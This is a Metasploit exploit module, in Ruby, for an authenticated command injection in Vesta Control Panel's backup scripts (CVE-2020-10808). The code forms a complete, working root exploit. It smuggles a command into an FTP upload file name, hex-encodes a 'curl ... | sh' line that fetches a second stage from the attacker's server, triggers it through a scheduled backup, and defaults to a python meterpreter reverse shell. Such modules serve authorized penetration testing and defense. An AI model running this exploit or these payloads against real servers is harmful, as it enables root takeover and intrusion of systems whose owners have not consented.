This Metasploit module exploits an authenticated command injection vulnerability in the v-list-user-backups bash script file in Vesta Control Panel to gain remote code execution as the root user.
33bd5dbc2ecccd00ba2b6203d75e3317##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info={})
super(update_info(info,
'Name' => "Vesta Control Panel Authenticated Remote Code Execution",
'Description' => %q{
This module exploits an authenticated command injection vulnerability in the v-list-user-backups
bash script file in Vesta Control Panel to gain remote code execution as the root user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <[email protected]>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/vesta-control-panel-second-order-remote-code-execution-0day-step-by-step-analysis/'],
['CVE', '2020-10808']
],
'DefaultOptions' =>
{
'SSL' => true,
'WfsDelay' => 300,
'Payload' => 'python/meterpreter/reverse_tcp'
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [[ 'Automatic', { }]],
'Privileged' => true,
'DisclosureDate' => "Mar 17 2020",
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'Reliability' => [ FIRST_ATTEMPT_FAIL, ],
'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES, ],
}
))
register_options(
[
Opt::RPORT(8083),
OptString.new('USERNAME', [true, 'The username to login as']),
OptString.new('PASSWORD', [true, 'The password to login with']),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
]
)
deregister_options('FTPUSER', 'FTPPASS')
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def login
#
# This is very simple login process. Nothing important.
# We will be using cookie and csrf_token across the module as instance variables.
#
print_status('Retrieving cookie and csrf token values')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login', '/'),
})
unless res
fail_with(Failure::Unreachable, 'Target is unreachable.')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 200 response code, but got #{res.code} instead.")
end
if res.get_cookies.empty?
fail_with(Failure::UnexpectedReply, 'Server returned no HTTP cookies')
end
@cookie = res.get_cookies
@csrf_token = res.body.scan(/<input type="hidden" name="token" value="(.*)">/).flatten[0] || ''
if @csrf_token.empty?
fail_with(Failure::UnexpectedReply, 'There is no CSRF token at HTTP response.')
end
print_good('Cookie and CSRF token values successfully retrieved')
print_status('Authenticating to HTTP Service with given credentials')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login', '/'),
'cookie' => @cookie,
'vars_post' => {
'token' => @csrf_token,
'user' => username,
'password' => password
}
})
unless res
fail_with(Failure::Unreachable, 'Target is unreachable.')
end
if res.body.include?('Invalid username or password.')
fail_with(Failure::NoAccess, 'Credentials are not valid.')
end
if res.body.include?('Invalid or missing token')
fail_with(Failure::UnexpectedReply, 'CSRF Token is wrong.')
end
if res.code == 302
if res.get_cookies.empty?
fail_with(Failure::UnexpectedReply, 'Server returned no HTTP cookies')
end
@cookie = res.get_cookies
else
fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 302 response code, but got #{res.code} instead.")
end
end
def start_backup_and_trigger_payload
#
# Once a scheduled backup is triggered, the v-backup-user script will be executed.
# This script will take the file name that we provided and will insert it into backup.conf
# so that the backup process can be performed correctly.
#
# At this point backup.conf should contain our payload, which we can then trigger by browsing
# to the /list/backup/ URL. Note that one can only trigger the backup (and therefore gain
# remote code execution) if no other backup processes are currently running.
#
# As a result, the exploit will check to see if a backup is currently running. If one is, it will print
# 'An existing backup is already running' to the console until the existing backup is completed, at which
# point it will trigger its own backup to trigger the command injection using the malicious command that was
# inserted into backup.conf
print_status('Starting scheduled backup. Exploitation may take up to 5 minutes.')
is_scheduled_backup_running = true
while is_scheduled_backup_running
# Trigger the scheduled backup process
res = send_request_cgi({
'method' => 'GET',
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, 'schedule', 'backup', '/'),
})
if res && res.code == 302 && res.headers['Location'] =~ /\/list\/backup\//
# Due to a bug in send_request_cgi we must manually redirect ourselves!
res = send_request_cgi({
'method' => 'GET',
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, 'list', 'backup', '/'),
})
if res && res.code == 200
if res.body.include?('An existing backup is already running. Please wait for that backup to finish.')
# An existing backup is taking place, so we must wait for it to finish its job!
print_status('It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...')
sleep(30)
elsif res.body.include?('Task has been added to the queue.')
# Backup process is being initiated
print_good('Scheduled backup has been started ! ')
else
fail_with(Failure::UnexpectedReply, '/list/backup/ is reachable but replied message is unexpected.')
end
else
# The web server couldn't reply to the request within given timeout window because our payload
# executed in the background. This means that the res object will be 'nil' due to send_request_cgi()
# timing out, which means our payload executed!
print_good('Payload appears to have executed in the background. Enjoy the shells <3')
is_scheduled_backup_running = false
end
else
fail_with(Failure::UnexpectedReply, '/schedule/backup/ is not reachable.')
end
end
end
def payload_implant
#
# Our payload will be placed as a file name on FTP service.
# Payload length can't be more then 255 and SPACE can't be used because of a
# bug in the backend software.
# s
# Due to these limitations, the payload is fetched using curl before then
# being executed with perl. This perl script will then fetch the full
# python payload and execute it.
#
final_payload = "curl -sSL #{@second_stage_url} | sh".to_s.unpack("H*").first
p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"
# Yet another datastore variable overriding.
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
port_restore = datastore['RPORT']
datastore['RPORT'] = 21
datastore['FTPUSER'] = username
datastore['FTPPASS'] = password
#
# Connecting to the FTP service with same creds as web ui.
# Implanting the very first stage of payload as a empty file.
#
if (not connect_login)
fail_with(Failure::NoAccess, 'Unable to authenticate to FTP service')
end
print_good('Successfully authenticated to the FTP service')
res = send_cmd_data(['PUT', ".a';$(#{p});'"], "")
if res.nil?
fail_with(Failure::UnexpectedReply, "Failed to upload the payload to FTP server")
end
print_good('The file with the payload in the file name has been successfully uploaded.')
disconnect
# Revert datastore variables.
datastore['RPORT'] = port_restore
datastore['SSL'] = true if ssl_restore
end
def exploit
start_http_server
payload_implant
login
start_backup_and_trigger_payload
stop_service
end
def on_request_uri(cli, request)
print_good('First stage is executed ! Sending 2nd stage of the payload')
second_stage = "python -c \"#{payload.encoded}\""
send_response(cli, second_stage, {'Content-Type'=>'text/html'})
end
def start_http_server
#
# HttpClient and HttpServer use same SSL variable :(
# We don't need SSL for payload delivery so we
# will disable it temporarily.
#
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
print_status("Second payload download URI is #{get_uri}")
# We need to use instance variables since get_uri keeps using
# the SSL setting from the datastore.
# Once the URI is retrieved, we will restore the SSL settings within the datastore.
@second_stage_url = get_uri
datastore['SSL'] = true if ssl_restore
end
end